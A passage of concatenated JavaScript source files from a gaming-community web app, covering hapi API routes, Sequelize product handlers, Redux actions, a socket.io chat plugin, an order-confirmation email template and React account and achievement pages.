'Request new purchase', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'token': Joi.string().required(), 'details': Joi.object().keys({ 'email': Joi.string().required(), 'description': Joi.string().required(), 'shippingCost': Joi.number().precision(2).required() }) } } }, 'handler': payments.payShippingCost }, { 'method': 'POST', 'path': '/api/payments/purchaseRP/{id}', 'config': { 'tags': ['api'], 'description': 'Request new purchase', 'notes': 'Request new purchase', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'token': Joi.string().required(), 'details': Joi.object().keys({ 'email': Joi.string().required(), 'description': Joi.string().required(), 'priceIndex': Joi.number().required() }) } } }, 'handler': payments.purchaseRP } ]; <file_sep>/src/actions/UserMessageActions.js 'use strict'; import UserMessageConstants from '../constants/UserMessageConstants'; import UserMessageService from '../services/UserMessageService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { get: (id) => { return (dispatch) => { dispatch(_initiateRequest(UserMessageConstants.INITIATE_USER_MESSAGE_REQUEST, id)); return UserMessageService.get(id).then((userMessage) => { dispatch(_returnResponse(UserMessageConstants.GET_USER_MESSAGE, userMessage)); return userMessage; }); }; }, getAll: () => { return (dispatch) => { dispatch(_initiateRequest(UserMessageConstants.INITIATE_USER_MESSAGE_REQUEST)); return UserMessageService.getAll().then((userMessages) => { dispatch(_returnResponse(UserMessageConstants.GET_USER_MESSAGES, userMessages)); return userMessages; }); }; }, search: (criteria) => { return (dispatch) => { dispatch(_initiateRequest(UserMessageConstants.INITIATE_USER_MESSAGE_REQUEST)); return UserMessageService.search(criteria).then((response) => { dispatch(_returnResponse(UserMessageConstants.GET_USER_MESSAGES, response.results)); return response.pagination; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(UserMessageConstants.INITIATE_USER_MESSAGE_REQUEST)); return UserMessageService.create(data).then((userMessage) => { dispatch(_returnResponse(UserMessageConstants.CREATE_USER_MESSAGE, userMessage)); return userMessage; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(UserMessageConstants.INITIATE_USER_MESSAGE_REQUEST)); return UserMessageService.update(id, data).then((userMessage) => { dispatch(_returnResponse(UserMessageConstants.UPDATE_USER_MESSAGE, userMessage)); return userMessage; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(UserMessageConstants.INITIATE_USER_MESSAGE_REQUEST, id)); return UserMessageService.remove(id).then((response) => { dispatch(_returnResponse(UserMessageConstants.REMOVE_USER_MESSAGE, id)); return response; }); }; } }; <file_sep>/server/routes/handlers/products.js 'use strict'; import models from '../../models'; import Boom from 'boom'; // Product Route Configs let products = { get: (request, reply) => { models.Product.find({ 'where': { 'id': request.params.id }, 'include': [{ 'model': models.File }] }) .then((response) => { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, getAll: (request, reply) => { models.Product.findAll() .then((response) => { reply(response).code(200); }); }, create: (request, reply) => { models.Product.create({ 'FactionId': request.payload.FactionId, 'GameSystemId': request.payload.GameSystemId, 'ManufacturerId': request.payload.ManufacturerId, 'SKU': request.payload.SKU, 'name': request.payload.name, 'price': request.payload.price, 'shippingCost': request.payload.shippingCost, 'description': request.payload.description, 'manufacturerId': request.payload.manufacturerId, 'gameSystem': request.payload.gameSystem, 'color': request.payload.color, 'tags': request.payload.tags, 'category': request.payload.category, 'stockQty': request.payload.stockQty, 'isInStock': request.payload.isInStock, 'filterVal': request.payload.filterVal, 'isDisplayed': request.payload.isDisplayed, 'isFeatured': request.payload.isFeatured, 'isNew': request.payload.isNew, 'isOnSale': request.payload.isOnSale }) .then((response) => { reply(response).code(200); }); }, update: (request, reply) => { models.Product.find({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { response.updateAttributes({ 'FactionId': request.payload.FactionId, 'GameSystemId': request.payload.GameSystemId, 'ManufacturerId': request.payload.ManufacturerId, 'SKU': request.payload.SKU, 'name': request.payload.name, 'price': request.payload.price, 'shippingCost': request.payload.shippingCost, 'description': request.payload.description, 'manufacturerId': request.payload.manufacturerId, 'gameSystem': request.payload.gameSystem, 'color': request.payload.color, 'tags': request.payload.tags, 'category': request.payload.category, 'stockQty': request.payload.stockQty, 'isInStock': request.payload.isInStock, 'filterVal': request.payload.filterVal, 'isDisplayed': request.payload.isDisplayed, 'isFeatured': request.payload.isFeatured, 'isNew': request.payload.isNew, 'isOnSale': request.payload.isOnSale }).then((response) => { reply(response).code(200); }); } else { reply().code(404); } }); }, updateStock: (request, reply) => { let products = request.payload.products; let findConfig = { '$or': [] }; products.forEach((product) => { findConfig['$or'].push({ 'id': product.id }); }); let promises = []; models.Product.findAll({ 'where': findConfig }).then((matchingProducts) => { if (request.payload.direction === 'increment') { matchingProducts.forEach((matchingProduct) => { let qtyValue = products.find((product) => matchingProduct.id === product.id).qty; promises.push(matchingProduct.increment({ 'stockQty': qtyValue })); }); Promise.all(promises).then((updatedProducts) => { reply(updatedProducts).code(200); }); } else { let failResponse = []; let outOfStockCount = 0; matchingProducts.forEach((matchingProduct) => { let outOfStock = matchingProduct.stockQty - products.find((product) => matchingProduct.id === product.id).qty < 0; outOfStockCount += outOfStock ? 1 : 0; failResponse.push({ 'id': matchingProduct.id, 'outOfStock': outOfStock }); }); if (outOfStockCount === 0) { matchingProducts.forEach((matchingProduct) => { let qtyValue = products.find((product) => matchingProduct.id === product.id).qty; promises.push(matchingProduct.decrement({ 'stockQty': qtyValue })); }); Promise.all(promises).then((updatedProducts) => { reply({ 'success': true, 'products': updatedProducts }).code(200); }) } else { reply({ 'success': false, 'products': failResponse }); } } }); }, search: (request, reply) => { let searchByConfig; let pageSize = parseInt(request.payload.pageSize, 10) || 20; let searchQuery = request.payload.searchQuery || ''; let offset = (request.payload.pageNumber - 1) * pageSize; let orderBy = request.payload.orderBy ? (request.payload.orderBy === 'updatedAt' || request.payload.orderBy === 'createdAt' ? [request.payload.orderBy, 'DESC'] : [request.payload.orderBy, 'ASC']) : undefined; if (searchQuery) { searchByConfig = request.payload.searchBy ? { [request.payload.searchBy]: { '$iLike': '%' + searchQuery + '%' } } : { '$or': [{ 'name': { '$iLike': '%' + searchQuery + '%' } }, { 'description': { '$iLike': '%' + searchQuery + '%' } } ] }; } else { searchByConfig = {}; } if (request.payload.minPrice >= 0 && request.payload.maxPrice) { searchByConfig.price = { '$between': [request.payload.minPrice, request.payload.maxPrice] }; } if (request.payload.manufacturerId) { searchByConfig.ManufacturerId = request.payload.manufacturerId; } if (request.payload.gameSystemId) { searchByConfig.GameSystemId = request.payload.gameSystemId; } if (request.payload.storeView) { searchByConfig['$and'] = [{ 'stockQty': { '$gt': 0 } }, { 'isDisplayed': true }] } models.Product.findAll({ 'where': searchByConfig, 'order': orderBy ? [orderBy] : [], 'offset': offset, 'limit': pageSize, 'include': { 'model': models.File } }).then((response) => { let results = response; models.Product.findAll({ 'where': searchByConfig }).then((products) => { let count = products.length; let totalPages = Math.ceil(count === 0 ? 1 : (count / pageSize)); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }); }, delete: (request, reply) => { models.Product.destroy({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { reply().code(200); } else { reply().code(404); } }); } }; export default products; <file_sep>/compiled-server/models/factionRanking.js 'use strict'; module.exports = function (sequelize, DataTypes) { var FactionRanking = sequelize.define('FactionRanking', { 'totalWins': { 'type': DataTypes.INTEGER, 'defaultValue': 0 }, 'totalLosses': { 'type': DataTypes.INTEGER, 'defaultValue': 0 }, 'totalDraws': { 'type': DataTypes.INTEGER, 'defaultValue': 0 } }, { 'classMethods': { associate: function associate(models) { FactionRanking.belongsTo(models.Faction); FactionRanking.belongsTo(models.GameSystemRanking); } }, 'getterMethods': { pointValue: function pointValue() { return this.totalWins + this.totalDraws * 0.5; } } }); return FactionRanking; };<file_sep>/src/services/UserAchievementService.js 'use strict'; import axios from 'axios'; export default { search: (criteria) => { return axios.post('/search/userAchievements', criteria) .then(function(response) { return response.data; }); }, create: (data) => { return axios.post('/userAchievements', data) .then(function(response) { return response.data; }); }, remove: (UserId, AchievementId) => { return axios.delete('/userAchievements/' + UserId + '/' + AchievementId) .then(function(response) { return response.data; }); } }; <file_sep>/server/utils/createResetToken.js 'use strict'; import jwt from 'jsonwebtoken'; import env from '../../envVariables'; const createResetToken = (email) => { // Sign the JWT return jwt.sign({ 'email': email }, env.secret, { 'algorithm': 'HS256', 'expiresIn': '1d' } ); }; export default createResetToken; <file_sep>/src/constants/FactionConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_FACTION_REQUEST: null, GET_FACTION: null, GET_FACTIONS: null, CREATE_FACTION: null, UPDATE_FACTION: null, REMOVE_FACTION: null, FILTER_FACTIONS: null }); <file_sep>/src/constants/FactionRankingConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_FACTION_RANKING_REQUEST: null, GET_FACTION_RANKING: null, GET_FACTION_RANKINGS: null, CREATE_FACTION_RANKING: null, UPDATE_FACTION_RANKING: null, REMOVE_FACTION_RANKING: null, FILTER_FACTION_RANKINGS: null }); <file_sep>/src/actions/ManufacturerActions.js 'use strict'; import ManufacturerConstants from '../constants/ManufacturerConstants'; import ManufacturerService from '../services/ManufacturerService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { get: (id) => { return (dispatch) => { dispatch(_initiateRequest(ManufacturerConstants.INITIATE_MANUFACTURER_REQUEST, id)); return ManufacturerService.get(id).then((manufacturer) => { dispatch(_returnResponse(ManufacturerConstants.GET_MANUFACTURER, manufacturer)); return manufacturer; }); }; }, getAll: () => { return (dispatch) => { dispatch(_initiateRequest(ManufacturerConstants.INITIATE_MANUFACTURER_REQUEST)); return ManufacturerService.getAll().then((manufacturers) => { dispatch(_returnResponse(ManufacturerConstants.GET_MANUFACTURERS, manufacturers)); return manufacturers; }); }; }, search: (criteria) => { return (dispatch) => { dispatch(_initiateRequest(ManufacturerConstants.INITIATE_MANUFACTURER_REQUEST)); return ManufacturerService.search(criteria).then((response) => { dispatch(_returnResponse(ManufacturerConstants.GET_MANUFACTURERS, response.results)); return response.pagination; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(ManufacturerConstants.INITIATE_MANUFACTURER_REQUEST)); return ManufacturerService.create(data).then((manufacturer) => { dispatch(_returnResponse(ManufacturerConstants.CREATE_MANUFACTURER, manufacturer)); return manufacturer; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(ManufacturerConstants.INITIATE_MANUFACTURER_REQUEST)); return ManufacturerService.update(id, data).then((manufacturer) => { dispatch(_returnResponse(ManufacturerConstants.UPDATE_MANUFACTURER, manufacturer)); return manufacturer; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(ManufacturerConstants.INITIATE_MANUFACTURER_REQUEST, id)); return ManufacturerService.remove(id).then((response) => { dispatch(_returnResponse(ManufacturerConstants.REMOVE_MANUFACTURER, id)); return response; }); }; } }; <file_sep>/compiled-server/chat/index.js 'use strict'; var _badWords = require('bad-words'); var _badWords2 = _interopRequireDefault(_badWords); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var profanityFilter = new _badWords2.default(); exports.register = function (server, options, next) { var io = require('socket.io')(server.select('chat').listener); var storedMessages = []; var numConnections = 0; io.on('connection', function (socket) { console.log('New connection!'); numConnections++; io.emit('chat:totalConnections', numConnections); socket.emit('chat:storedMessages', storedMessages); socket.on('chat:sendMessage', function (msg) { msg.text = profanityFilter.clean(msg.text); io.emit('chat:addMessage', msg); storedMessages.push(msg); if (storedMessages.length > 8) { storedMessages = storedMessages.splice(storedMessages.length - 5, storedMessages.length); } }); socket.on('disconnect', function () { console.log('User disconnected!'); numConnections--; io.emit('chat:totalConnections', numConnections); }); }); next(); }; exports.register.attributes = { name: 'hapi-chat' };<file_sep>/src/components/pages/Achievements.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {CSSTransitionGroup as Animation} from 'react-transition-group'; import ViewWrapper from '../ViewWrapper'; import AchievementActions from '../../actions/AchievementActions'; // import {PaginationControls} from '../../library/pagination'; const mapStateToProps = (state) => { return { 'achievements': state.achievements } }; const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'searchAchievements': AchievementActions.search }, dispatch); } let timer; class Achievements extends React.Component { constructor() { super(); this.state = { 'pagination': {}, 'searchQuery': '', 'orderBy': 'title' } this.handlePageChange = this.handlePageChange.bind(this); } componentDidMount() { document.title = "Battle-Comm | Achievements"; this.handlePageChange(1); } componentWillReceiveProps(nextProps) { } handlePageChange(pageNumber = 1, e) { if (e && e.keyCode && e.keyCode !== 13) { return; } this.props.searchAchievements({'searchQuery': this.state.searchQuery, 'orderBy': this.state.orderBy, 'pageNumber': pageNumber, 'pageSize': 100}).then((pagination) => { this.setState({ 'pagination': pagination }); }); } render() { return ( <ViewWrapper headerImage="/images/Titles/Achievements.png" headerAlt="Achievements"> {/*<div className="row"> <div className="small-12 medium-6 large-8 columns"> <label>Search Query</label> <div className="form-group search-input"> <input name="searchQuery" type="text" onChange={this.handleQueryChange} value={this.state.searchQuery} placeholder="Enter search terms to filter results" onKeyUp={this.handlePageChange.bind(this, 1)}/> <span className="search-icon fa fa-search pointer" onClick={this.handlePageChange.bind(this, 1)}></span> </div> </div> <div className="small-12 medium-6 large-4 columns"> <label>Search By</label> <div className="form-group inline"> <select name="searchBy" value={this.state.searchBy} onChange={this.handleSearchByChange}> <option value='username'>Username</option> <option value='firstName'><NAME></option> <option value='lastName'><NAME></option> </select> <button className="button" onClick={this.handlePageChange.bind(this, 1)}>Search!</button> </div> </div> </div>*/} <hr/> <div className="small-12 columns achievements"> { this.props.achievements.map((achievement, i) => <span key={achievement.id} className="achievement"> <div className="achievement-title">{achievement.title}</div> <div><img src={achievement.File ? `${achievement.File.locationUrl}100-${achievement.File.name}` : '/uploads/achievements/100-defaultAchievement.png'} alt={achievement.name} /></div> { <div className="achievement-description" key={`${i}-description`}> <span className="fa fa-connectdevelop"></span> <span>{achievement.description}</span> <span className="fa fa-connectdevelop"></span> </div> } </span> ) } {/*<div className="small-12 columns"> <PaginationControls pageNumber={this.state.pagination.pageNumber} pageSize={this.state.pagination.pageSize} totalPages={this.state.pagination.totalPages} totalResults={this.state.pagination.totalResults} handlePageChange={this.handlePageChange.bind(this)}></PaginationControls> </div>*/} </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(Achievements)); <file_sep>/compiled-server/models/achievement.js 'use strict'; module.exports = function (sequelize, DataTypes) { var Achievement = sequelize.define('Achievement', { 'title': { 'type': DataTypes.STRING, 'unique': true }, 'category': DataTypes.STRING, 'description': DataTypes.TEXT, 'priority': DataTypes.INTEGER, 'rpValue': DataTypes.INTEGER }, { 'classMethods': { associate: function associate(models) { Achievement.hasOne(models.File); Achievement.belongsTo(models.GameSystem); Achievement.belongsToMany(models.User, { 'through': 'userHasAchievements' }); } } }); return Achievement; };<file_sep>/src/components/pages/ForgotPassword.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../library/alerts'; import {Form, Input} from '../../library/validations'; import ViewWrapper from '../ViewWrapper'; import PlayerService from '../../services/PlayerService'; const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert }, dispatch); } class ForgotPassword extends React.Component { constructor() { super(); this.state = { 'email': '' } this.handleEmailInputChange = this.handleEmailInputChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { document.title = "Battle-Comm | Forgot your password?"; } handleEmailInputChange(e) { e.preventDefault(); this.setState({ 'email': e.target.value }) } handleSubmit(e) { PlayerService.resetPassword({ 'email': this.state.email }).then((user) => { this.showAlert('emailSent'); this.props.history.push('/login'); }).catch((response) => { console.log(response.message); if (response.message === 'User not found.') { this.showAlert('userNotFound'); } }); } showAlert(selector) { const alerts = { 'emailSent': () => { this.props.addAlert({ 'title': 'E-mail Sent', 'message': 'Check your e-mail for a link and instructions to reset your password.', 'type': 'success', 'delay': 5000 }); }, 'userNotFound': () => { this.props.addAlert({ 'title': 'User Not Found', 'message': 'No user was found with the supplied e-mail. Please try another e-mail address.', 'type': 'error', 'delay': 5000 }); } } return alerts[selector](); } render() { return ( <ViewWrapper headerImage="/images/Titles/Forgot_Password.png" headerAlt="Forgot Password"> <div className="row"> <div className="small-12 columns"> <h3>Enter your e-mail address and click submit to change your password.</h3> <Form name="forgotPasswordForm" submitText="Submit" handleSubmit={this.handleSubmit}> <div className="row"> <div className="form-group small-12 medium-6 medium-offset-3 columns"> <label className="required">Email</label> <Input type="text" name="email" value={this.state.email} handleInputChange={this.handleEmailInputChange} validate="email" required={true} /> </div> </div> </Form> </div> </div> <div className="row push-top"> <div className="form-group small-12 columns"> Return to login page? <Link to="/login">Go to Login</Link> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(null, mapDispatchToProps)(ForgotPassword)); <file_sep>/compiled-server/routes/api/gameSystems.js 'use strict'; var _joi = require('joi'); var _joi2 = _interopRequireDefault(_joi); var _handlers = require('../handlers'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } module.exports = [ // Game Systems { 'method': 'GET', 'path': '/api/gameSystems/{id}', 'config': { 'tags': ['api'], 'description': 'Get one game system by id', 'notes': 'Get one game system by id', 'validate': { 'params': { 'id': _joi2.default.number().required() } } }, 'handler': _handlers.gameSystems.get }, { 'method': 'GET', 'path': '/api/gameSystems', 'config': { 'tags': ['api'], 'description': 'Get all gameSystems', 'notes': 'Get all gameSystems' }, 'handler': _handlers.gameSystems.getAll }, { 'method': 'POST', 'path': '/api/gameSystems', 'config': { 'tags': ['api'], 'description': 'Add a new game system', 'notes': 'Add a new game system', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'payload': { 'Factions': _joi2.default.optional(), 'File': _joi2.default.optional(), 'ManufacturerId': _joi2.default.number().required(), 'name': _joi2.default.string().required(), 'description': _joi2.default.optional(), 'url': _joi2.default.optional() } } }, 'handler': _handlers.gameSystems.create }, { 'method': 'PUT', 'path': '/api/gameSystems/{id}', 'config': { 'tags': ['api'], 'description': 'Update a game system by id', 'notes': 'Update a game system by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'id': _joi2.default.optional(), 'createdAt': _joi2.default.optional(), 'updatedAt': _joi2.default.optional(), 'Manufacturer': _joi2.default.optional(), 'Factions': _joi2.default.optional(), 'File': _joi2.default.optional(), 'ManufacturerId': _joi2.default.number().required(), 'name': _joi2.default.string().required(), 'description': _joi2.default.optional(), 'url': _joi2.default.optional() } } }, 'handler': _handlers.gameSystems.update }, { 'method': 'POST', 'path': '/api/search/gameSystems', 'config': { 'tags': ['api'], 'description': 'Return Game System search results', 'notes': 'Return Game System search results', 'validate': { 'payload': { 'maxResults': _joi2.default.optional(), 'searchQuery': _joi2.default.optional(), 'searchBy': _joi2.default.optional(), 'orderBy': _joi2.default.string().required(), 'pageNumber': _joi2.default.number().required(), 'pageSize': _joi2.default.optional() } } }, 'handler': _handlers.gameSystems.search }, { 'method': 'DELETE', 'path': '/api/gameSystems/{id}', 'config': { 'tags': ['api'], 'description': 'Delete a game system by id', 'notes': 'Delete a game system by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() } } }, 'handler': _handlers.gameSystems.delete }];<file_sep>/server/email-templates/orderSuccess.js 'use strict'; function buildTemplate(data) { let productTable = ''; data.productDetails.forEach(function(product, index) { if (index === 0 || index % 2 === 0) { productTable += ` <tr style="background-color: #e8e8e8;"> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${product.SKU}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${product.name}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${product.price}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">(${product.qty})</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${parseFloat(product.price) * parseFloat(product.qty)} RP</td> </tr> ` } else { productTable += ` <tr> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${product.SKU}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${product.name}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${product.price}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">(${product.qty})</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${parseFloat(product.price) * parseFloat(product.qty)} RP</td> </tr> ` } }); return ` <div style="max-width:800px;position:relative;margin:20px auto;padding:15px;border:2px solid black;box-shadow:0 0 5px 2px lightgray;letter-spacing:1px;background-color:aliceblue;box-shadow: 0 0 2px 1px rgba(31, 31, 33, 0.47);"> <div style="text-align:center;"> <h1 style="font-size:40px; font-size:40px; padding-bottom:5px; margin-top:15px; border-bottom:1px solid #cacaca;">${data.status === 'processing' ? 'Order Succes!' : 'Your order has shipped!'}</h1> <h2 style="font-size:28px">...thanks for being a part of Battle-Comm.</h2> <b>This is a confirmation for ${data.customerFullName} with order #${data.id}</b> </div> <h3 style="font-size="24px">Order Details</h3> <h4 style="font-size="18px">Shipping Address</h4> <p>${data.shippingStreet}</p> <p>${data.shippingCity}, ${data.shippingState} ${data.shippingZip}</p> <p>${data.shippingCountry}</p> <p><strong>Order Details:</strong> ${data.orderDetails || 'N/A'}</p> <table style="font-family: arial, sans-serif;border-collapse: collapse;width: 100%;"> <tr> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">SKU</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Product Name</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Reward Points</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Quantity</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Subtotal</th> </tr> ${productTable} </table> <h2 style="font-size:28px">Order Total: ${data.orderTotal} Reward Points</h2> <div style="text-align:center; border-top:1px solid #cacaca; padding:20px 0 0;"> <img src="https://www.battle-comm.net/images/BC_Web_Logo.png"> </div> </div> ` } export default buildTemplate; <file_sep>/src/components/pages/players/PlayerAccountEdit.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {AlertActions} from '../../../library/alerts'; import {formatJSONDate} from '../../../library/utilities'; import {checkAuthorization, UserActions} from '../../../library/authentication'; import {getFormErrorCount, Form, Input, Select, TextArea, CheckBox, RadioGroup, FileUpload} from '../../../library/validations'; import {handlers} from '../../../library/utilities'; import ViewWrapper from '../../ViewWrapper'; import PaymentService from '../../../services/PaymentService'; import PlayerService from '../../../services/PlayerService'; import roleConfig from '../../../../roleConfig'; import env from '../../../../envVariables'; const mapStateToProps = (state) => { return { 'forms': state.forms, 'user': state.user } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'modifyUser': UserActions.modify }, dispatch); } class PlayerAccountEdit extends React.Component { constructor() { super(); this.state = { 'currentUser': { }, 'customerDetails': {}, 'isEditing': { 'contacts': false, 'shipping': false }, 'userIsSubscriber': false }; this.cancelEdit = this.cancelEdit.bind(this); this.getCurrentPlayer = this.getCurrentPlayer.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.savePlayer = this.savePlayer.bind(this); } componentDidMount() { document.title = "Battle-Comm | Player Account"; let userIsSubscriber = checkAuthorization(['subscriber'], this.props.user, roleConfig); if (!this.props.user.id) { this.props.history.push('/'); } else { this.getCurrentPlayer(); // TODO: This should actually just check for an existing customerId if (userIsSubscriber && !this.props.user.systemAdmin) { PaymentService.getCustomer(this.props.user.id).then((customer) => { let subscription = customer.subscriptions.data.find(subscription => subscription.status === 'active'); this.setState({ 'customerDetails': customer, 'subscription': subscription, 'userIsSubscriber': true }); }); } } } cancelEdit() { let isEditing = this.state.isEditing; for (let prop in isEditing) { isEditing[prop] = false; } this.setState({ 'isEditing': isEditing }); this.getCurrentPlayer(); } getCurrentPlayer() { PlayerService.getById(this.props.user.id).then((currentUser) => { this.setState({ 'currentUser': currentUser }) }); } handleInputChange(e) { this.setState({ 'currentUser': handlers.updateInput(e, this.state.currentUser) }); } handleSubmit(identifier) { return; } savePlayer() { PlayerService.update(this.state.currentUser.id, this.state.currentUser).then((updatedUser) => { let isEditing = this.state.isEditing; for (let prop in isEditing) { isEditing[prop] = false; } this.setState({ 'isEditing': isEditing }); this.props.modifyUser(updatedUser); this.getCurrentPlayer(); this.showAlert('playerUpdated'); }); } toggleEdit(identifier) { let isEditing = this.state.isEditing; for (let prop in isEditing) { isEditing[prop] = false; } isEditing[identifier] = true; this.setState({ 'isEditing': isEditing }); this.getCurrentPlayer(); } showAlert(selector) { const alerts = { 'playerUpdated': () => { this.props.addAlert({ 'title': 'Profile Updated', 'message': `Your profile was successfully updated`, 'type': 'success', 'delay': 3000 }); } } return alerts[selector](); } render() { let currentUser = this.state.currentUser; let isEditing = this.state.isEditing; let contactFormIsValid = getFormErrorCount(this.props.forms, 'contactForm') < 1; let shippingFormIsValid = getFormErrorCount(this.props.forms, 'shippingForm') < 1; return ( <ViewWrapper headerImage="/images/Titles/Account_Details.png" headerAlt="Account Details"> <div className="row"> <div className="small-12 medium-6 columns"> <h2 className="text-center">Contact Information</h2> <div className={isEditing.contact ? 'editable active' : 'editable'}> { isEditing.contact ? <Form name="contactForm" handleSubmit={this.handleSubmit.bind(this, 'contact')} submitButton={false}> <div className="form-group inline"> <label className="title bold">First Name:</label> <Input name="firstName" type="text" id="firstName" value={currentUser.firstName} handleInputChange={this.handleInputChange}/> </div> <div className="form-group inline"> <label className="title bold">Last Name:</label> <Input name="lastName" type="text" id="lastName" value={currentUser.lastName} handleInputChange={this.handleInputChange}/> </div> <div className="form-group inline"> <label className="title bold">E-mail:</label> <Input name="email" type="email" id="email" value={currentUser.email} handleInputChange={this.handleInputChange} disabled={true}/> </div> <div className="form-group inline"> <label className="title bold">Phone:</label> <Input name="mainPhone" type="text" id="mainPhone" value={currentUser.mainPhone} handleInputChange={this.handleInputChange} validate="domesticPhone" /> </div> </Form> : <div className="user-contact"> <ul className="no-bullets"> <li>First Name: {currentUser.firstName}</li> <li>Last Name: {currentUser.lastName}</li> <li>E-mail: {currentUser.email}</li> <li>Phone: {currentUser.mainPhone}</li> </ul> </div> } { isEditing.contact ? <div className="action-group"> <button className="cancel" onClick={this.cancelEdit}> <span className="fa fa-times"></span> </button> <button className="save" onClick={this.savePlayer} disabled={!contactFormIsValid}> <span className="fa fa-check"></span> </button> </div> : <div className="action-group"> <button className="edit" onClick={this.toggleEdit.bind(this, 'contact')}> <span className="fa fa-edit"></span> </button> </div> } </div> </div> <div className="small-12 medium-6 columns"> <h2 className="text-center">Shipping Address</h2> <div className={isEditing.shipping ? 'editable active' : 'editable'}> { isEditing.shipping ? <Form name="shippingForm" handleSubmit={this.handleSubmit.bind(this, 'shipping')} submitButton={false}> <div className="form-group inline"> <label className="title bold">Address:</label> <Input name="streetAddress" type="text" id="streetAddress" value={currentUser.streetAddress} maxlength="50" handleInputChange={this.handleInputChange}/> </div> <div className="form-group inline"> <label className="title bold">Apt/Suite:</label> <Input name="aptSuite" type="text" id="aptSuite" value={currentUser.aptSuite} maxlength="10" handleInputChange={this.handleInputChange}/> </div> <div className="form-group inline"> <label className="title bold">City:</label> <Input name="city" type="text" id="city" value={currentUser.city} maxlength="50" handleInputChange={this.handleInputChange}/> </div> <div className="form-group inline"> <label className="title bold">State:</label> <Input name="state" type="text" id="state" value={currentUser.state} maxlength="50" handleInputChange={this.handleInputChange}/> </div> <div className="form-group inline"> <label className="title bold">Zip:</label> <Input name="zip" type="text" id="zip" value={currentUser.zip} minlength={5} maxlength={12} handleInputChange={this.handleInputChange}/> </div> </Form> : <div className="user-shipping"> <ul className="no-bullets"> <li>Address: {currentUser.streetAddress}</li> <li>Apt/Suite: {currentUser.aptSuite}</li> <li>City: {currentUser.city}</li> <li>State: {currentUser.state}</li> <li>Zip: {currentUser.zip}</li> </ul> </div> } { isEditing.shipping ? <div className="action-group"> <button className="cancel" onClick={this.cancelEdit}> <span className="fa fa-times"></span> </button> <button className="save" onClick={this.savePlayer} disabled={!shippingFormIsValid}> <span className="fa fa-check"></span> </button> </div> : <div className="action-group"> <button className="edit" onClick={this.toggleEdit.bind(this, 'shipping')}> <span className="fa fa-edit"></span> </button> </div> } </div> </div> </div> <div className="row push-top-2x text-center"> <div className="small-12 columns"> <h2>Subscription Details</h2> { this.state.userIsSubscriber ? <div> <div className="small-12 medium-4 columns"> <h5>Customer E-mail</h5> <h5><strong>{this.state.customerDetails.email}</strong></h5> <hr/> </div> <div className="small-12 medium-4 columns"> <h5>Subscription Type</h5> <h5><strong>{this.state.subscription.plan.name}</strong></h5> <hr/> </div> <div className="small-12 medium-4 